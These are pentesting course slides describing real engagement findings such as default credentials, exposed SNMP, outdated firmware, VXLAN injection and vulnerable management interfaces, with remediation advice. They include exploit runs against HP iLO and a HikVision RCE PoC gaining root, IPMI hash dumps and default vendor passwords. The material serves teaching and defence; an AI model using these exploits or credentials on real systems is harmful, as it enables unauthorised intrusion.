



Welcome to

# Pentesting Cases

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Slides are available as PDF, kramse@Github  
pentest-cases.tex in the repo security-courses

## Goals for today



Don't Panic!

Introduce the term penetration testing and talk about pentest cases

Talk about things I have seen in real life pentesting

Try to understand why they are a problem, sometimes a big problem

Discuss how we can avoid them in your future environments

# Materials – where to start



- This presentation – slides for today, start here

- Nmap Workshop exercises

<https://github.com/kramse/security-courses/blob/master/courses/pentest/nmap-workshop/nmap-workshop-exercises.pdf>

- KEA Pentest course exercises

<https://github.com/kramse/security-courses/blob/master/courses/pentest/kea-pentest/kea-pentest-exercises.pdf>

- Setup instructions for creating a Kali virtual machine:

<https://github.com/kramse/kramse-labs>

- Also the Simulated DDoS Workshop is available:

<https://github.com/kramse/security-courses/tree/master/presentations/pentest/simulated-ddos-workshop>

**Start a download of Kali today, if you want to play with the tools tomorrow**

Recommend virtual machine download 64-bit <https://www.kali.org/get-kali/#kali-virtual-machines>


# Contact information



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- Run a small network for fun AS57860

You are welcome to drop me an email

# Internet Today



Clients and servers, roots in the academic world

Protocols are old, some more than 20 years

Very little is encrypted, mostly HTTPS

## Hacker tools



*Improving the Security of Your Site by Breaking Into it*

by Dan Farmer and Wietse Venema in 1993

Later in 1995 released the software SATAN

*Security Administrator Tool for Analyzing Networks*

Caused some commotion, panic and discussions, every script kiddie can hack, the internet will melt down!

We realize that SATAN is a two-edged sword – like many tools, it can be used for good and for evil purposes. We also realize that intruders (including wannabees) have much more capable (read intrusive) tools than offered with SATAN.

Source: <http://www.fish2.com/security/admin-guide-to-cracking.html>

# Hacker – cracker



## Short answer – dont discuss this

Yes, originally there was another meaning to hacker, but the media has perverted it and today, and since early 1990s it has meant breaking into stuff for the public

## Today a hacker breaks into systems!

Reference. Spafford, Cheswick, Garfinkel, Stoll, ...- wrote about this and it was lost

Story is interesting and the old meaning is ALSO used in smaller communities, like hacker spaces full of hackers - doing fun and interesting stuff

- *Cuckoo's Egg: Tracking a Spy Through the Maze of Computer Espionage*, Clifford Stoll
- *Hackers: Heroes of the Computer Revolution*, Steven Levy
- *Practical Unix and Internet Security*, Simson Garfinkel, Gene Spafford, Alan Schwartz

# Agreements for testing networks



Danish Criminal Code

Straffelovens paragraf 263 Stk. 2. Med bøde eller fængsel indtil 1 år og 6 måneder straffes den, der uberettiget skaffer sig adgang til en andens oplysninger eller programmer, der er bestemt til at bruges i et informationssystem.

Hacking can result in:

- Getting your devices confiscated by the police
- Paying damages to persons or businesses
- If older getting a fine and a record – even jail perhaps
- Getting a criminal record, making it hard to travel to some countries and working in security
- Fear of terror has increased the focus – so dont step over bounds!

Asking for permission and getting an OK before doing invasive tests, always!

# Why even do security testing?



Lots of security problems

Pentesting may be a requirement from external partners – example VISA PCI standard

- Boss asking: should we do a security test?
- CIO: hmm, okay
- IT Admins: \*sigh\* – I know the security sucks in places!
- Its not your systems – dont take the criticism personal, but as an opportunity to get things improved
- Pentest tools are great resources for doing discovery of assets, evaluating the security of large installations quickly – in short using pentest tools makes you more efficient!

Many see the benefits after doing a pentest, so try it!

# Benefits of having a planned security test done



Goal of testing is to reduce risk for the systems and secure the organisation from unexpected loss of data, image and increased costs.

Intended audience:

- IT-department and technical personnel
- Management and board
- External auditors, government, financial control VISA/PCI, the public


Output from testing:

- Reports with technical content and recommendations
- Executive summary

Goal is not to find a scape goat to blame – management allocates resources

If security is below in places more resources may be needed.

# Confidentiality, Integrity and Availability



We want to protect something

Confidentiality - data kept a secret

Integrity - data is not subjected to unauthorized changes

Availability - data and systems are available when needed

## Goals of Security




Prevention - means that an attack will fail

Detection - determine if attack is underway, or has occurred - report it

Recovery - stop attack, assess damage, repair damage

# What is Infrastructure – Software



- Enterprises today have a lot of computing systems supporting the business needs
- These are very diverse and often discrete systems

Photo by Alexander Schimmeck on Unsplash


# Business Challenges



- Accumulation of software
- Legacy systems
- Partners
- Various types of data
- Employee churn, replacement

Photo by Adam Bignell on Unsplash


# Software Challenges



- Complexity
- Various languages
- Various programming paradigms, client server, monolith, Model View Controller
- Conflicting data types and available structures
- Steam train vs electric train

Photo by John Barkiple on Unsplash

# Book: Gray Hat Hacking (Grayhat)




*Gray Hat Hacking: The Ethical Hacker's Handbook*, fifth edition

Authors: Allen Harper, Daniel Regalado, Ryan Linn, Stephen Sims, Branko Spasojevic, Linda Martinez, Michael Baucom, Chris Eagle, Shon Harris, Published: May 18th 2018, Paperback ISBN: 978-1-260-10841-5 640 pp.

<https://www.mhprofessional.com/9781260108415-usa-gray-hat-hacking-the-ethical-hackers-handbook-fifth-edition-group>

Has some programming introduction which are very useful.

# 24 Deadly Sins of Software Security



*24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, Michael Howard, David LeBlanc, John Viega, ISBN: 9780071626750, 2010 The McGraw-Hill Companies, named 24-deadly below

# Deadly Sins 1/2



## Part I Web Application Sins 1-4

- 1) SQL Injection
- 2) Web Server-Related Vulnerabilities
- 3) Web Client-Related Vulnerabilities (XSS)
- 4) Use of Magic URLs, Predictable Cookies, and Hidden Form Fields

## Part II Implementation Sins 5-18

- 5) Buffer Overruns
- 6) Format String
- 7) Integer Overflows
- 8) C++ Catastrophes
- 9) Catching Exceptions
- 10) Command Injection
- 11) Failure to Handle Errors Correctly
- 12) Information Leakage
- 13) Race Conditions
- 14) Poor Usability
- 15) Not Updating Easily
- 16) Executing Code with Too Much Privilege
- 17) Failure to Protect Stored Data
- 18) The Sins of Mobile Code

## Deadly Sins 2/2



### Part III Cryptographic Sins 19-21

- 19) Use of Weak Password-Based System
- 20) Weak Random Numbers
- 21) Using Cryptography Incorrectly

### Part IV Networking Sins 22-24

- 22) Failing to Protect Network Traffic,
- 23) Improper use of PKI, Especially SSL,
- 24) Trusting Network Name Resolution

## Design vs Implementation



Software vulnerabilities can be divided into two major categories:

- Design vulnerabilities
- Implementation vulnerabilities

Even with a well-thought-out security design a program can contain implementation flaws.

Then we also have the *operators* the ones installing, running and maintaining our systems (and perhaps some security). The operators are often time-constrained, over-worked, busy, etc. Not an excuse, but realities

**TL;DR All Software Has Bugs – some are serious**

# Shit Happened



Login: admin

Password: admin

- Sometimes you buy something, power it, and forget about it
- We all do
- It is still a problem if it happens at work
- Good thing, often easier to find with scanning tools

# Malicious Configuration and Negligence



Negligence (Lat. negligentia)[1] is a failure to exercise appropriate and/or ethical ruled care expected to be exercised amongst specified circumstances.[2] The area of tort law known as negligence involves harm caused by failing to act as a form of carelessness possibly with extenuating circumstances.

Source: <https://en.wikipedia.org/wiki/Negligence>

- When I find something which is NOT default, but had to be configured
- It contains a default user like admin with password admin
- Or some network configuration which is equally bad

I consider this malicious, somebody *on purpose* configured something **badly**

## On-site pentesting




So doing pentest can be remote or on-site, at the customer site. I was at this insurance company, very professional, very nice, doing pentesting on the network.

I scanned the network and found the usual stuff, which often includes

- Dirty server room – they all rely on the devices in this room, great
- No UPS – power cables are a mess
- Printers with default settings – we can have fun reconfiguring them
- Server administration – more about that later

The usual stuff ...

Nice Rack you got there!



# Physical Inspection is Needed



Yes, go through the server room!

Things we find:

- Single firewall, running with a single power supply – single point of failure
- No Uninterruptable Power Supply – having NO UPS is bad if availability is important
- Bad cabling, disaster can strike, and no one can help you
- Bad cooling can take down your whole company

Advice: Start documenting your setup – buy a label maker today

# Core Switch Administration



Then I also found switch administration with admin/admin \*sigh\*

The screenshot shows the EdgeMAX EdgeSwitch 48-Port Lite 1.7.4 web interface. The main page displays system information, device information, and system resource usage. Key details include:

System Information	
System Description	EdgeSwitch 48-Port Lite, 1.7.4.5075942, Linux 3.6.5-10605b7, 0.0.0.000000
System Name	UBNT Edgeswitch
System Location	
System Contact	
IP Address	10.45.1.133
Burned in MAC Address	FC:EC:DA:42:9D:82
System Up Time	12 days, 30 hours, 56 mins, 54 secs

Device Information	
Machine Type	EdgeSwitch 48-Port Lite
Machine Model	ES-48-Lite
Serial Number	FCECDAA429D82
Software Version	1.7.4.5075942

System Resource Usage	
Temperature Status	Normal

UNMS Status	
UNMS Status	CONNECTED (2020-01-15T13:28:01+0000)

- Is this the main switch for the whole office?! Yes - unfortunately
- I was also called up one time about a large core switch that had lost configuration, nothing worked

## Upgrade your firmware (2020)



This was seen at the same customer in 2020:

Cisco ASA Version 9.8(2) - Released: August 28, 2017

Cisco ASDM 7.8(2)Cisco

- We can talk about firmware quality, but if you haven't *upgraded* it in 3+ years ...
- Firmware updates fix known problems and security issues – install them
- Create a process to review and update once in a while

# How do we find systems – Nmap banner scanning



```
root@cornerstone:~# nmap -A -p80,443 172.29.0.0/24
Starting Nmap 6.47 ( http://nmap.org ) at 2015-02-05 07:37 CET
Nmap scan report for 172.29.0.1
Host is up (0.00027s latency).

PORT      STATE      SERVICE VERSION
80/tcp    open       http      Apache httpd 2.2.26 ((Unix) DAV/2 mod_ssl/2.2.26 OpenSSL/0.9.8zc)
|_http-title: Site doesn't have a title (text/html).
443/tcp   filtered https
MAC Address: 00:50:56:C0:00:08 (VMware)
Device type: media device|general purpose|phone
Running: Apple iOS 6.X|4.X|5.X, Apple Mac OS X 10.7.X|10.9.X|10.8.X
OS details: Apple iOS 6.1.3, Apple Mac OS X 10.7.0 (Lion) - 10.9.2 (Mavericks)
OS and Service detection performed.
Please report any incorrect results at http://nmap.org/submit/
```

- Nmap scanning is quick and easy – scan 100s of IP addresses quickly
- Can even save output as XML and includes Ndiff for comparing scans
- Network scanning is often the most efficient way to get an overview
- The network scan can immediately identify services which should NOT be available

## SNMP problems



5.5 Simple Network Management Protocol The Simple Network Management Protocol (SNMP) [37] has recently been defined to aid in network management. Clearly, access to such a resource must be heavily protected. The RFC states this, but also allows for a null authentication service; this is a bad idea. Even a “read-only” mode is dangerous; it may expose the target host to netstat-type attacks if the particular Management Information Base (MIB) [38] used includes sequence numbers. (T

Source: The paper *Security Problems in the TCP/IP Protocol Suite* was originally published in Computer Communication Review, Vol. 19, No. 2, in April, 1989, Steven M. Bellovin  
<https://www.cs.columbia.edu/~smb/papers/ipext.pdf>

An update was published in 2004 *A Look Back at “Security Problems in the TCP/IP Protocol Suite”*, Steven M. Bellovin <https://www.cs.columbia.edu/~smb/papers/acsac-ipext.pdf>

# SNMP Public (2013)



So if this was common knowledge in the 1990s, why do we still see systems with SNMP public

The situation:

- I was put into this office at a bank – scan the network, here are the prefixes
- Found NOTHING, really slow, getting frustrated
- Then I found SNMP available on the core router, a firewall type of devices SRX3400
- Turned out they had configured with public - why would they do this?



## After mapping the network

After I managed to map the network using SNMP output - with `snmpwalk`:

- Found live machines, could scan more efficiently
- Could see sessions, what is allowed
- Found network shares, publicly available with files containing sensitive information
- Found documents, passport pictures, ID pictures – lots of personal information

It all began with a simple SNMP walk



# Talking about old software

```
$ nmap -sU -p 161 --script snmp-info 87.xxx // large danish commercial ISP IP
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-13 23:45 CEST
Nmap scan report for 87.xxx
Host is up (0.0014s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-info:
| enterprise: ciscoSystems
| engineIDFormat: unknown
| engineIDData: 0300a80c0d2f2378
| snmpEngineBoots: 40
|_ snmpEngineTime: 1086d04h20m16s
Nmap done: 1 IP address (1 host up) scanned in 0.44 seconds
```

## Problems found with SNMP:

- SNMP uptime often correlates to last firmware update, 1086 days – no firmware installed for a long time
- Network mapping - can show network infrastructure information
- Not uncommon with +1000 days – some have 1500 or even 1800 days!



## local networks

6.1 Vulnerability of the Local Network Some local-area networks, notably the Ethernet networks, are extremely vulnerable to eavesdropping and host-spoofing. If such networks are used, physical access must be strictly controlled. It is also unwise to trust any hosts on such networks if any machine on the network is accessible to untrusted personnel, unless authentication servers are used.

If the local network uses the Address Resolution Protocol (ARP) [42] more subtle forms of host-spoofing are possible. In particular, it becomes trivial to intercept, modify, and forward packets, rather than just taking over the host's role or simply spying on all traffic.

Today we can send VXLAN spoofed packets across the internet layer 3 and inject ARP behind firewalls, in some cloud infrastructure cases ...




## Why talk about VXLAN RFC7348 2014

Virtual Extensible LAN (VXLAN) is a network virtualization technology ... uses a VLAN-like encapsulation technique to **encapsulate OSI layer 2 Ethernet frames within layer 4 UDP datagrams**, ... VXLAN endpoints, which terminate VXLAN tunnels and may be either virtual or physical switch ports, are known as **VXLAN tunnel endpoints (VTEPs)**.[2][3]

The VXLAN specification was originally created by **VMware, Arista Networks and Cisco**.[5][6] Other backers of the VXLAN technology include **Huawei,[7] Broadcom, Citrix, Pica8, Cumulus Networks, Dell EMC, Mellanox,[8] FreeBSD,[9] OpenBSD,[10] Red Hat,[11] Joyent, and Juniper Networks**. Source:  
[https://en.wikipedia.org/wiki/Virtual\\_Extensible\\_LAN](https://en.wikipedia.org/wiki/Virtual_Extensible_LAN)

Security Considerations: TBD.


# Overview VXLAN RFC7348 2014



How does it work?


- Router 1 takes Layer 2 traffic, encapsulates with IP+UDP port 4789, routes
- Router 2 receives IP+UDP+data, decapsulates, forward/switches layer 2 onto VLAN
- Hosts 10.0.0.10 can talk to 10.0.0.20 as if they were next to each other in switch
- Most often VLAN IEEE 802.1q involved too, but not shown

# VXLAN injection



I tested using my pentest server in one AS, sending across an internet exchange into a production network, towards Arista testing devices - no problems, it's just routed layer 3 IP+UDP packets

## Example: Send UDP DNS reqs to inside server



Attacker can send UDP DNS request to inside server on RFC1918 destination

Note: server has no external IP or incoming ports forwarded.

Tested working with Clavister with DNS UDP probes/requests, no inspection

## VXLAN also used a lot in Cisco ACI



Cisco Application Centric Infrastructure (ACI), **the industry's most secure, open, and comprehensive software-defined networking (SDN) solution**, enables automation that accelerates infrastructure deployment and governance, simplifies management to easily move workloads across a multifabric and multicloud frameworks, and proactively secures against risk arising from anywhere. It radically simplifies, optimizes, and expedites the application deployment lifecycle.

Source:

<https://www.cisco.com/c/en/us/solutions/collateral/data-center-virtualization/application-centric-infrastructure/solution-overview-c22-741487.html>



## Vulnerability Analysis

- Remote Code Execution on Leaf Switches over IPv6 via Local SSH Server (CVE-2019-1836, CVE2019-1803, and CVE-2019-1804) – SSH access with specific source port, private key left on firmware image, and on all switches
- Cisco Nexus 9000 Series Fabric Switches ACI Mode Fabric Infrastructure VLAN Unauthorized Access Vulnerability (CVE-2019-1890)
- Cisco Nexus 9000 Series Fabric Switches Application Centric Infrastructure Mode Link Layer Discovery Protocol Buffer Overflow Vulnerability (CVE-2019-1901)
- Cisco Application Policy Infrastructure Controller REST API Privilege Escalation Vulnerability (CVE2019-1889)

Source: [https://static.ernw.de/whitepaper/ERNW\\_Whitepaper68\\_Vulnerability\\_Assessment\\_Cisco\\_ACI\\_signed.pdf](https://static.ernw.de/whitepaper/ERNW_Whitepaper68_Vulnerability_Assessment_Cisco_ACI_signed.pdf)

Further all processes run as root user – good job Cisco

## Secure Shell access to core devices



This Cisco ACI problem with SSH allowed with specific source port reminds me of another case.  
I was doing audit of a network with Juniper devices, core routers.

They all had router protection filters only certain IP ranges could access *management* – highly recommended.  
Access Control List (ACL) is genericly the name

Like this one for my router:

```
ip access-list ssh-acl
    10 permit tcp 10.123.44.0/24 any
!
management ssh
    ip access-group ssh-acl in
```

Unfortunately I saw that using a specific source port allowed anyone to access the Secure Shell port

- Often this happens with ports like 53/tcp and 53/udp

# Switch configuration (2019)



Switch config – protecting the web administration using ACL:

```
telnet server enable
telnet server acl 2000
...
ip http acl 2000
ip https acl 2000
ip https enable
#
acl number 2000 name sw-adgang
rule 5 permit source 172.24.95.233 0
rule 10 permit source 172.24.88.253 0
rule 15 permit source 172.24.92.0 0.0.3.255
rule 20 permit source 10.109.200.0 0.0.7.255
rule 25 permit source 10.10.10.0 0.0.0.255
```

Then again the Secure Shell access was NOT protected – no ACL:

```
ssh server enable
```

This switch also had a single user manager which I recommended be replaced.

TL;DR There was NOT a secure configuration on this network – municipality in Denmark

## Old software (2019)



How old can software be? This customer had some old DWL-3260AP access points  
D-Link DWL-3260AP - 802.11g Managed Access Point.

"This product was phased out on: 20/05/2013"

<https://eu.dlink.com/uk/en/products/dwl-3260ap-wireless-ceiling-mount-poe-access-point>  
(link might not work anymore)

The software for this model is:

Firmware 1.20 rc340 Firmware 06/04/2009

- At the time of testing in 2019 this was 10 year old software, probably full of security issues that will never be fixed

# Management interfaces



In general we have lots of *management interfaces*, only intended for administrators. We should do our best to keep them isolated on management VLANs and have a secure configuration.

Server hardware typically have KVM (Keyboard Video Mouse) interfaces:

- Compaq/HP Integrated Lights-Out (ILO) Management
- Dell Remote Access Controller (iDRAC) default user root/calvin
- Generic servers like SuperMicro have Intelligent Platform Management Interface (IPMI)  
[https://en.wikipedia.org/wiki/Intelligent\\_Platform\\_Management\\_Interface](https://en.wikipedia.org/wiki/Intelligent_Platform_Management_Interface)

Common problems found:

- Default settings, default passwords – often direct access to server administration
- Not upgraded, firmware has known vulnerabilities

I have seen this for many many years, and still see this in networks after 2020

# Vulnerable HP ILO – Metasploit module (2021)



Vulnerability IPMI RAKP Dump hash:

```
Name Description
-----
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 172.16.10.205:623 - IPMI - Hash found: Administrator:ef4...c956bf6c9a9618a771c
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > setg RHOSTS 172.16.10.200
RHOSTS => 172.16.10.200
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
[+] 172.16.10.200:623 - IPMI - Hash found: Administrator:1aa4314318a30600...585fa89609bd2a9
```

Firmware was from 2017 – so multiple years old, updates were available

# Exploits are available (2021)



```
hkj@kate:~/bin$ ./get-users.py -h
usage: get-users.py [-h] [-t] [-e] [-u U] [-p P] ip
CVE-2017-12542 Tester and Exploiter script.

positional arguments:
  ip
    target IP

optional arguments:
  -h, --help show this help message and exit
  -t            Test. Trigger the exploit and list all users
  -e            Exploit. Create a new admin user with the credentials specified in -u and -p
  -u U          username of the new admin user
  -p P          password of the new admin user
hkj@kate:~/bin$ ./get-users.py 172.16.10.205
[+] Target is VULNERABLE!
[+] Account name: User Account Username: Administrator
[+] Account name: User Account Username: ilo
```

- Another server had firmware from 2014 allowing the creation of administrative users directly

# Internet of Things – to hack (2022)



This case from 2022 was a municipality in Denmark, having HikVision IP cameras, these have been critisized a lot, for good reason.

In this case we told the customer when they showed up in the external scan, this is a high risk. Later when we looked more into them, we could find a ready made exploit:

CVE-2021-36260 HikVision Remote Code Execution – critical

And surely

```
user@Zencurity:bin$ python3 hikvision210702-exec.txt --rhost 94.xxx --cmd "uname -a"
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
[*] Checking remote "94.xxx"
[i] ETag: "5c3-258-5e256676"
[!] Remote is verified exploitable
Linux (none) 4.9.37 #1 SMP Sun Jan 19 10:50:48 CST 2020 armv7l
```

## More commands



```
user@Zecurity:bin$ python3 hikvision210702-exec.txt --rhost 94.xxx --cmd "id"
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
[*] Checking remote "94.xxx"
[i] ETag: "5c3-258-5e256676"
[!] Remote is verified exploitable
uid=0(admin) gid=0(root)
```

We are root - we can do what we Like

## More commands



```
user@Zecurity:bin$ python3 hikvision210702-exec.txt --rhost 94.xxx --cmd "ls -l"
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
[*] Checking remote "94.xxx"
[i] ETag: "5c3-258-5e256676"
[!] Remote is verified exploitable
-rwxrwxrwx    1 admin      root          1349 Jan  8  2020 ASC16
-rwxrwxrwx    1 admin      root          3859 Jan  8  2020 ASC32
-rwxrwxrwx    1 admin      root        457196 Jan  8  2020 GBK
-rwxrwxrwx    1 admin      root          3944 Aug 29 14:23 alarm.ko
drwxrwxrwx    2 admin      root            0 Aug 29 14:23 applib
drwxr-xr-x    2 admin      root            0 Aug 29 14:23 dalg
drwxr-xr-x    2 admin      root            0 Aug 29 15:49 dlog
drwxrwxrwx    2 admin      root            0 Aug 29 14:23 dsp_extres
...
...
```

We can access files, and everything else on the cameras

# UPS the UPS is on the network (2021)



Eaton UPS Web Card - Mozilla Firefox

172.16.1.92

Kali Linux Kali Training Kali Tools Kali Docs Kali Forums NetHunter Offensive Security Exploit-DB GHDB MSFU

Eaton 9PX 5000i - Server room

**UPS Properties**

Eaton 9PX 5000i  
Server room

**UPS Status**

Power source :	AC Power
Output load level :	23%
Output :	Master: On Group1: On Group2: On
Temperature :	22 °C
<b>Battery</b>	
Battery load level :	100 % Resting
Remaining backup time :	3 h 19 m 12 s
Battery status :	OK

Last update : 2021/12/01 14:41:36

The screenshot shows the Eaton UPS Web Card interface in a Mozilla Firefox browser window. The address bar shows the IP address 172.16.1.92. The page title is "Eaton 9PX 5000i - Server room". The left sidebar has three main sections: "UPS" (Properties, Control, Weekly Schedule, Shutdown Parameters), "Logs and Notification" (Measurements, Event Log, System Log, Email Notification), and "Settings" (Network, Radius, LDAP, System, Notified Applications, Access Control, SNMP, Time, Firmware Upload). The main content area displays the "UPS Properties" for an "Eaton 9PX 5000i" unit in the "Server room". It includes a schematic diagram of the UPS system. Below the diagram is the "UPS Status" section, which provides real-time data: Power source (AC Power), Output load level (23%), Output (Master: On, Group1: On, Group2: On), Temperature (22 °C), and Battery status (100% Resting, Remaining backup time: 3 h 19 m 12 s, OK). A note at the bottom indicates the last update was on 2021/12/01 14:41:36.

This I have seen at multiple customers

# Eaton by default allow admin/admin



Eaton UPS Web Card - Mozilla Firefox  
172.16.1.92  
Eaton 9PX 5000i - Server room

**UPS Control**

**Eaton 9PX 5000i**

Output	Status	Control	Off Delay	Toggle Duration	On Delay
Master	On	None	0 sec	0 sec	0 sec
Group1	On	None	0 sec	0 sec	0 sec
Group2	On	Safe power down Safe power down & reboot Immediate On Delayed, safe power down Delayed, safe power down & reboot Delayed On	0 sec	0 sec	0 sec

Help  
Server room

Save

- Battery UPS (Uninterruptable Power Supply) for server room has default credentials admin/admin
  - also this interface is over unencrypted HTTP

# SNMP again!



Eaton UPS Web Card - Mozilla Firefox

Eaton 9PX 5000i - Server room

UPS

- Properties
- Control
- Weekly Schedule
- Shutdown Parameters

Logs and Notification

- Measurements
- Event Log
- System Log
- Email Notification

Settings

- Network
- Radius
- LDAP
- System
- Notified Applications
- Access Control
- SNMP
- Time
- Firmware Upload

Help

Server room

SNMP Settings

Eaton 9PX 5000i

SNMP Version : V1

SNMP Port : 161

SNMP V1 Setting

Community Read-Only : public

SNMP Write : Enabled

Community Write : private

SNMP V3 Setting

Read-Only User : readuser

Read-Only Security Level : Auth No Priv

Read-Only Authentication Password : \*\*\*\*\*

Read-Only Privacy Password : \*\*\*\*\*

Read-Write User : writeuser

Read-Write Security Level : Auth Priv

Read-Write Authentication Password : \*\*\*\*\*

Read-Write Privacy Password : \*\*\*\*\*

- Eaton even has SNMP write community private configured
- A single command with `snmp-set` could disable power

# HP Switches are very user friendly



```
$ telnet 172.16.1.21
Connected to 172.16.1.21.
HP J9772A 2530-48G-PoEP Switch
Software revision YA.16.08.0015
(C) Copyright 2020 Hewlett Packard Enterprise Development LP
RESTRICTED RIGHTS LEGEND
...
Press any key to continue
Your previous successful login (as manager) was on 1990-02-19 21:27:21
from 172.16.1.250
SW04Stuen# show configuration
Running configuration:
; J9772A Configuration Editor; Created on release #YA.16.08.0015
; Ver #14:01.44.00.04.19.02.13.98.82.34.61.18.28.f3.84.9c.63.ff.37.27:45
```

- Nothing to see here – just log me in without a password, thank you HP  
No NTP servers, no log servers, default credentials, using bad default SNMP public, configured with VLANs

## Other Management interfaces



Found on a single customer LAN:

- UPS SNMP and Web available – also uses default credentials
- Wi-Fi controller web interface available
- HP ILO web interface - some with vulnerable software
- Network printer interfaces
- Storage devices – small NAS devices and Storwize
- HP switch interfaces – web, telnet some with default vendor admin credentials and/or SNMP public
- MOXA device Unknown usage
- ESXi management interfaces on multiple port

This was in 2021, and I wrote:

Note recent years have seen high risk vulnerabilities in these

## Years after in 2023




### Ransomware Campaign Compromising VMware ESXi Servers

On February 3, 2023, French web hosting provider OVH and French CERT issued warnings about a ransomware campaign that was targeting VMware ESXi servers worldwide with a new ransomware strain dubbed “ESXiArgs.” The campaign appears to be leveraging CVE-2021-21974, **a nearly two-year-old heap overflow vulnerability in the OpenSLP service ESXi runs**. The ransomware operators are using opportunistic “spray and pray” tactics and have compromised hundreds of ESXi servers in the past few days, apparently including servers managed by hosting companies. ESXi servers exposed to the public internet are at particular risk.

Source: <https://www.rapid7.com/blog/post/2023/02/06/ransomware-campaign-compromising-vmware-esxi-servers/>

- Who allows these to be on the freaking internet!

# In 2022 Don't keep your Exchange server on the LAN!



Another service which is being attacked in recent years is Microsoft Exchange  
This customer had their Exchange server directly on the LAN?!

- There is a high risk that a single vulnerability in Microsoft Exchange would open this network to complete compromise

# Microsoft Exchange vulnerabilities with CVSS 7 or higher



#	CVE ID	CWE ID	# of Exploits	Vulnerability Type(s)	Publish Date	Update Date	Score	Gained Access Level	Access	Complexity	Authentication	Conf.	Integ.	Avail.
1	<a href="#">CVE-2021-34523</a> 287				2021-07-14	2022-07-12	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
Microsoft Exchange Server Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-33768, CVE-2021-34470.														
2	<a href="#">CVE-2021-34473</a> 918			Exec Code	2021-07-14	2022-07-12	10.0	None	Remote	Low	Not required	Complete	Complete	Complete
Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.														
3	<a href="#">CVE-2021-31206</a>			Exec Code	2021-07-14	2021-09-20	7.9	None	Local Network	Medium	Not required	Complete	Complete	Complete
Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31196, CVE-2021-34473.														
4	<a href="#">CVE-2021-28483</a>			Exec Code	2021-04-13	2021-04-14	7.7	None	Local Network	Low	???	Complete	Complete	Complete
Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-28480, CVE-2021-28481, CVE-2021-28482.														
5	<a href="#">CVE-2021-28482</a>			Exec Code	2021-04-13	2021-04-14	9.0	None	Remote	Low	???	Complete	Complete	Complete
Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-28480, CVE-2021-28481, CVE-2021-28483.														
6	<a href="#">CVE-2021-28481</a>			Exec Code	2021-04-13	2021-04-14	10.0	None	Remote	Low	Not required	Complete	Complete	Complete
Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-28480, CVE-2021-28482, CVE-2021-28483.														
7	<a href="#">CVE-2021-28480</a>			Exec Code	2021-04-13	2021-04-14	10.0	None	Remote	Low	Not required	Complete	Complete	Complete
Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-28481, CVE-2021-28482, CVE-2021-28483.														
8	<a href="#">CVE-2021-26855</a> 918			Exec Code	2021-03-03	2022-07-12	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-26412, CVE-2021-26854, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065, CVE-2021-27078.														

#	CVE ID	CWE ID	# of Exploits	Vulnerability Type(s)	Publish Date	Update Date	Score	Gained Access Level	Access	Complexity	Authentication	Conf.	Integ.	Avail.
1	<a href="#">CVE-2022-21978</a>				2022-05-10	2022-05-18	7.2	None	Local	Low	Not required	Complete	Complete	Complete
Microsoft Exchange Server Elevation of Privilege Vulnerability.														
2	<a href="#">CVE-2022-21969</a>			Exec Code	2022-01-11	2022-01-21	7.7	None	Local Network	Low	???	Complete	Complete	Complete
Microsoft Exchange Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-21846, CVE-2022-21855.														
3	<a href="#">CVE-2022-21855</a>			Exec Code	2022-01-11	2022-01-14	7.7	None	Local Network	Low	???	Complete	Complete	Complete
Microsoft Exchange Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-21846, CVE-2022-21969.														
4	<a href="#">CVE-2022-21846</a> 94			Exec Code	2022-01-11	2022-01-14	8.3	None	Local Network	Low	Not required	Complete	Complete	Complete
Microsoft Exchange Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-21855, CVE-2022-21969.														

- Lesson: Don't put Exchange on your LAN!


# At least the servers are up to date!



Count	Release date	Version
1	2004-08-18	OpenSSH 3.9p1 protocol 1.99
6	2008-07-22	OpenSSH 5.1p1 Debian ubuntu1 Ubuntu Linux; protocol 2.0
3	2011-09-06)	OpenSSH 5.9 protocol 2.0
1	2012-04-22	OpenSSH 6.0 protocol 2.0
1	2013-03-22	OpenSSH 6.2 protocol 2.0
6	2014-03-15	OpenSSH 6.6.1p1 Ubuntu Linux; protocol 2.0
1	2014-10-06	OpenSSH 6.7 protocol 2.0
12	2016-03-10	OpenSSH 7.2p2 Ubuntu Linux; protocol 2.0
6	2016-12-19	OpenSSH 7.4 protocol 2.0
10	2017-10-03	OpenSSH 7.6p1 Ubuntu Linux; protocol 2.0
3	2017-10-03	OpenSSH 7.6 protocol 2.0
1	2019-04-17	OpenSSH 8.0 protocol 2.0
4	2020-02-14	OpenSSH 8.2p1 Ubuntu Linux; protocol 2.0
2	2020-05-27	OpenSSH 8.3 protocol 2.0
1	2021-08-20	OpenSSH 8.7p1 Debian 1 protocol 2.0

- OpenSSH is the main access for administrators to Unix systems
- If this is not up to date, the rest of the system is neither updated
- Note this is from a single test in 2021!

# Making backups is great!



Picture from IBM manuals

- We once found TSM Backup Client on a server – simple/default password of course
- How bad can this be?
- Well we could find names of files, which we could download through the web server
- Found Excel files with user names, and passwords
- Today we would call this Google Dorks and IDOR, check out:

